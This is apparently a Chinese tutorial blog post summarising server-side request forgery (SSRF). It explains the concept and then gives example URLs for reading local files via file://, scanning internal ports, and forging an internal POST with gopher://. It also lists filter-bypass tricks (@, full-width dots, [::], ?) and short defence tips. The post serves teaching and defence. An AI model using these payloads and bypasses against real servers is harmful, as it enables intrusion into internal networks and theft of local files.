SSRF漏洞总结

SSRF(服务端请求伪造)是一种利用服务器漏洞,以服务器身份发起请求的安全威胁。攻击者通过构造特殊请求,可以访问受限的内网服务、读取本地文件、扫描内网端口等。防御措施包括限制请求端口、禁止访问内网IP及屏蔽详细响应信息。常见的绕过方法有使用@、句号和[::]。关键词涉及SSRF原理、利用协议、内网扫描、防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SSRF概念

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

SSRF的原理

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

利用的协议

使用file协议 file protocol (任意文件读取)

 

使用dict协议 dict protocol (获取Redis配置信息) 

 

使用gopher协议(俗称万能协议) gopher protocol 

 

 

内网及端口扫描

http://localhost/ssrf.php?url=http://192.168.1.124:3306

可以用burp爆破

同理也能对内网网段进行扫描

file协议读取本地文件

http://localhost/ssrf.php?url=file:///c:\\windows\\win.ini

访问外网资源

http://127.0.0.1/ssrf.php?url=http://baidu.com

对内部主机和端口发送请求包进行攻击 

可以用gophar协议去发送请求数据包 

http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

绕过方法

 http://abc.com@127.0.0.1      访问到127.0.0.1     访问@之后的ip

句号绕过

127。0。0。1 >>> 127.0.0.1

利用[::]绕过  

http://[::]:80/ >>> http://127.0.0.1

 ?绕过

http://abc.com?127.0.0.1     访问到abc.com   访问?之前的

防御建议

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

https://www.cnblogs.com/miruier/p/13907150.html​​​​​​​

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值